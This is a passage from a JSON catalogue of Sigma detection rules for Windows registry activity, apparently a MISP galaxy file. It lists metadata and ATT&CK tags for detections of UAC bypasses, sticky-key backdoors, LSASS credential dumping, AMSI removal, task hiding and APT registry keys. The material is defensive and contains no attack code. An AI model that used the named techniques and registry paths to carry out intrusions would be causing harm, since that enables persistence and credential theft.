        "creation_date": "2021/05/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_add_local_hidden_user.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1387530414185664538",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd",
      "value": "Creation of a Local Hidden User Account by Registry"
    },
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      "description": "Detects the use of Windows Credential Editor (WCE)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/12/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_hack_wce_reg.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.ampliasecurity.com/research/windows-credentials-editor/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0005"
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      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2",
      "value": "Windows Credential Editor Registry"
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    {
      "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.",
      "meta": {
        "author": "iwillkeepwatch",
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        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_event_ssp_added_lsa_config.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.005"
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      },
      "related": [
        {
          "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc",
      "value": "Security Support Provider (SSP) Added to LSA Configuration"
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    {
      "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign",
      "meta": {
        "author": "Aidan Bracher",
        "creation_date": "2020/07/07",
        "falsepositive": "No established falsepositives",
        "filename": "registry_event_apt_leviathan.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
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      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db",
      "value": "Leviathan Registry Key Activity"
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      "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks",
      "meta": {
        "author": "megan201296, Jonhnathan Ribeiro",
        "creation_date": "2019/04/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_apt_oceanlotus_registry.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
          "https://github.com/eset/malware-ioc/tree/master/oceanlotus",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
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      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4",
      "value": "OceanLotus Registry Activity"
    },
    {
      "description": "Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.",
      "meta": {
        "author": "oscd.community, Dmitry Uchakin",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_bypass_via_wsreset.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly",
          "https://lolbas-project.github.io/lolbas/Binaries/Wsreset",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
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      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66",
      "value": "UAC Bypass Via Wsreset"
    },
    {
      "description": "Detects NetNTLM downgrade attack",
      "meta": {
        "author": "Florian Roth (Nextron Systems), wagga",
        "creation_date": "2018/03/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_net_ntlm_downgrade.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2",
      "value": "NetNTLM Downgrade Attack - Registry"
    },
    {
      "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen",
      "meta": {
        "author": "Florian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2018/03/15",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_event_stickykey_like_backdoor.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/",
          "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
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          "attack.t1546.008",
          "car.2014-11-003",
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      },
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        {
          "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
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          ],
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      ],
      "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542",
      "value": "Sticky Key Like Backdoor Usage - Registry"
    },
    {
      "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community, Tim Shelton",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml"
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      "related": [
        {
          "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd",
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      ],
      "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d",
      "value": "New DLL Added to AppInit_DLLs Registry Key"
    },
    {
      "description": "Detects abusing Windows 10 Narrator's Feedback-Hub",
      "meta": {
        "author": "Dmitriy Lifanov, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_narrator_feedback_persistance.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html",
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        "tags": [
          "attack.persistence",
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      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a",
      "value": "Narrator's Feedback-Hub Persistence"
    },
    {
      "description": "Detects OilRig registry persistence as reported by Nyotron in their March 2018 report",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2018/03/23",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_event_apt_oilrig_mar18.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oilrig_mar18.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.g0049",
          "attack.t1053.005",
          "attack.s0111",
          "attack.t1543.003",
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          "attack.t1112",
          "attack.command_and_control",
          "attack.t1071.004"
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      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        },
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
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          "type": "related-to"
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        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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        },
        {
          "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5",
      "value": "OilRig APT Registry Persistence"
    },
    {
      "description": "Detects the presence of a registry key created during Azorult execution",
      "meta": {
        "author": "Trent Liffick",
        "creation_date": "2020/05/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_mal_azorult.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7",
      "value": "Registry Entries For Azorult Malware"
    },
    {
      "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution",
      "meta": {
        "author": "Nik Seetharaman",
        "creation_date": "2018/07/16",
        "falsepositive": [
          "Legitimate CMSTP use (unlikely in modern enterprise environments)"
        ],
        "filename": "registry_event_cmstp_execution_by_registry.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218.003",
          "attack.g0069",
          "car.2019-04-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37",
      "value": "CMSTP Execution Registry Event"
    },
    {
      "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'",
      "meta": {
        "author": "Mateusz Wydra, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Creation of non-default, legitimate at usage"
        ],
        "filename": "registry_event_susp_atbroker_change.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/",
          "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.persistence",
          "attack.t1547"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b",
      "value": "Atbroker Registry Change"
    },
    {
      "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2019/08/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_disable_wdigest_credential_guard.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd",
      "value": "Wdigest CredGuard Registry Modification"
    },
    {
      "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor",
      "meta": {
        "author": "omkar72",
        "creation_date": "2020/10/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_runkey_winekey.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5",
      "value": "WINEKEY Registry Modification"
    },
    {
      "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2021/04/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_hybridconnectionmgr_svc_installation.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Cyb3rWard0g/status/1381642789369286662",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1608"
        ]
      },
      "related": [
        {
          "dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8",
      "value": "HybridConnectionManager Service Installation - Registry"
    },
    {
      "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971",
      "value": "Esentutl Volume Shadow Copy Service Keys"
    },
    {
      "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_shell_open_keys_manipulation.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/",
          "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass",
          "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]",
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002",
          "attack.t1546.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7",
      "value": "Shell Open Registry Keys Manipulation"
    },
    {
      "description": "Detects FlowCloud malware from threat group TA410.",
      "meta": {
        "author": "NVISO",
        "creation_date": "2020/06/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_mal_flowcloud.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1",
      "value": "FlowCloud Malware"
    },
    {
      "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/02/26",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_event_silentprocessexit_lsass.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
          "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "55e29995-75e7-451a-bef0-6225e2f13597",
      "value": "Potential Credential Dumping Via LSASS SilentProcessExit Technique"
    },
    {
      "description": "Detects Pandemic Windows Implant",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_apt_pandemic.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/MalwareJake/status/870349480356454401",
          "https://wikileaks.org/vault7/#Pandemic",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed",
      "value": "Pandemic Registry Key"
    },
    {
      "description": "Detects the deletion of registry keys containing the MSTSC connection history",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/10/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_delete_mstsc_history_cleared.yml",
        "level": "high",
        "logsource.category": "registry_delete",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html",
          "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer",
          "http://woshub.com/how-to-clear-rdp-connections-history/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d",
      "value": "Terminal Server Client Connection History Cleared - Registry"
    },
    {
      "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware",
      "meta": {
        "author": "Sittikorn S",
        "creation_date": "2022/04/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_delete_schtasks_hide_task_via_sd_value_removal.yml",
        "level": "medium",
        "logsource.category": "registry_delete",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2",
      "value": "Removal Of SD Value to Hide Schedule Task - Registry"
    },
    {
      "description": "Detects the deletion of AMSI provider registry key entries in HKLM\\Software\\Microsoft\\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/06/07",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_delete_removal_amsi_registry_key.yml",
        "level": "high",
        "logsource.category": "registry_delete",
        "logsource.product": "windows",
        "refs": [
          "https://seclists.org/fulldisclosure/2020/Mar/45",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "41d1058a-aea7-4952-9293-29eaaf516465",
      "value": "Removal Of AMSI Provider Registry Keys"
    },
    {
      "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/05",
        "falsepositive": [
          "Legitimate administrators removing applications (should always be investigated)"
        ],
        "filename": "registry_delete_exploit_guard_protected_folders.yml",
        "level": "high",
        "logsource.category": "registry_delete",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40",
      "value": "Folder Removed From Exploit Guard ProtectedFolders List - Registry"
    },
    {
      "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_delete_schtasks_hide_task_via_index_value_removal.yml",
        "level": "medium",
        "logsource.category": "registry_delete",
        "logsource.product": "windows",
        "refs": [
          "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_index_value_removal.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec",
      "value": "Removal Of Index Value to Hide Schedule Task - Registry"
    },
    {
      "description": "Detects any deletion of entries in \".*\\shell\\open\\command\" registry keys.\nThese registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered"
        ],
        "filename": "registry_delete_removal_com_hijacking_registry_key.yml",
        "level": "medium",
        "logsource.category": "registry_delete",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md",
